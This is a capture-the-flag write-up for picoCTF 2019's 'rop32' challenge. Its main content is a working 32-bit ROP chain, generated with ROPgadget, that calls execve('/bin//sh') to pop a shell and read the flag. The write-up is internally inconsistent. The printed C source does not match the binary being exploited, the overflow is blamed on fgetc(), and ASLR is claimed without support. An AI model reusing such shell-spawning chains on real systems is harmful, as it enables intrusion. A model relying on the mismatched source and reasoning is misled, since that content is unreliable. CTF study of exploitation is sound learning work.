PicoCTF19 rop32

Challenge

Can you exploit the following program to get a flag? You can find the program in /problems/rop32 on the shell server. Source.

Hints

This is a classic ROP to get a shell

Solution

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FLAG_BUFFER 128

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  puts(buf);
  fflush(stdout);
}

void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) {
   array[index] = value;
}

int main(int argc, char *argv[])
{
   int index;
   int value;
   int array[666];
   puts("Input the integer value you want to put in the array\n");
   scanf("%d",&value);
   fgetc(stdin);
   puts("Input the index in which you want to put the value\n");
   scanf("%d",&index);
   replaceIntegerInArrayAtIndex(array,index,value);
   exit(0);
}

Let's view the directory:

samson@pico-2019-shell1:/problems/rop32$ ls -al
total 732
drwxr-xr-x   2 root       root         4096 Sep 28  2019 .
drwxr-x--x 684 root       root        69632 Oct 10  2019 ..
-r--r-----   1 hacksports rop32_0        31 Sep 28  2019 flag.txt
-rwxr-sr-x   1 hacksports rop32_0    661832 Sep 28  2019 vuln
-rw-rw-r--   1 hacksports hacksports    466 Sep 28  2019 vuln.c

Same structure as before, let's see if using ROP is the only way to finish this challenge:

samson@pico-2019-shell1:/problems/rop32$ checksec vuln
[*] '/problems/rop32/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Seems like NX and ALSR are both enabled, so ROP is the only technique we can use to bypass this program.

Let's try some random inputs into the program:

samson@pico-2019-shell1:/problems/rop32$ ./vuln
Can you ROP your way out of this one?
123
samson@pico-2019-shell1:/problems/rop32$ ./vuln
Can you ROP your way out of this one?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Just as suspected from the source code of the problem, the fgetc() function call causes an overflow.

Given the hint of the program, I assume we also need to pop a shell.

Let's use this tool called ROPGadget

This tool will help us find all gadgets and give it to us in a pwntools friendly format.

So lets run:

$ ROPgadget --binary ./vuln  --ropchain --badbytes 0a

We are using the --badbytes 0a argument in order to receive an exploint that doesn't contain a new line character as fgetc() would discard anything after it causing the ROP Chain to fail.

< REDACTED >

Unique gadgets found: 29905

ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x8056e65 mov dword ptr [edx], eax ; ret
        [+] Gadget found: 0x806ee6b pop edx ; ret
        [+] Gadget found: 0x8056334 pop eax ; pop edx ; pop ebx ; ret
        [+] Gadget found: 0x8056420 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x8056420 xor eax, eax ; ret
        [+] Gadget found: 0x807c2fa inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x80481c9 pop ebx ; ret
        [+] Gadget found: 0x806ee92 pop ecx ; pop ebx ; ret
        [+] Gadget found: 0x806ee6b pop edx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x8049563 int 0x80

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget
< REDACTED >
        p += pack('<I', 0x0807c2fa) # inc eax ; ret
        p += pack('<I', 0x08049563) # int 0x80

Here is some shortened output from ROPGadget

So let's make that into a file /tmp/rop.py:

We need to cause the buffer overflow so let's add 16 or more As.

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = 'A'*20  # buffer is size 16, let's increment by 4 until it works.

p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '/bin'
p += pack('<I', 0x080da060) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da064) # @ .data + 4
p += pack('<I', 0x08056334) # pop eax ; pop edx ; pop ebx ; ret
p += '//sh'
p += pack('<I', 0x080da064) # padding without overwrite edx
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x08056e65) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080da060) # @ .data
p += pack('<I', 0x0806ee92) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x080da060) # padding without overwrite ebx
p += pack('<I', 0x0806ee6b) # pop edx ; ret
p += pack('<I', 0x080da068) # @ .data + 8
p += pack('<I', 0x08056420) # xor eax, eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x0807c2fa) # inc eax ; ret
p += pack('<I', 0x08049563) # int 0x80
print p

Let's run it and feed it into the program

samson@pico-2019-shell1:/problems/rop32$ (python /tmp/rop.py;cat) | ./vuln 
Can you ROP your way out of this one?
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{rOp_t0_b1n_sH_01a585a7}

Flag

picoCTF{rOp_t0_b1n_sH_01a585a7}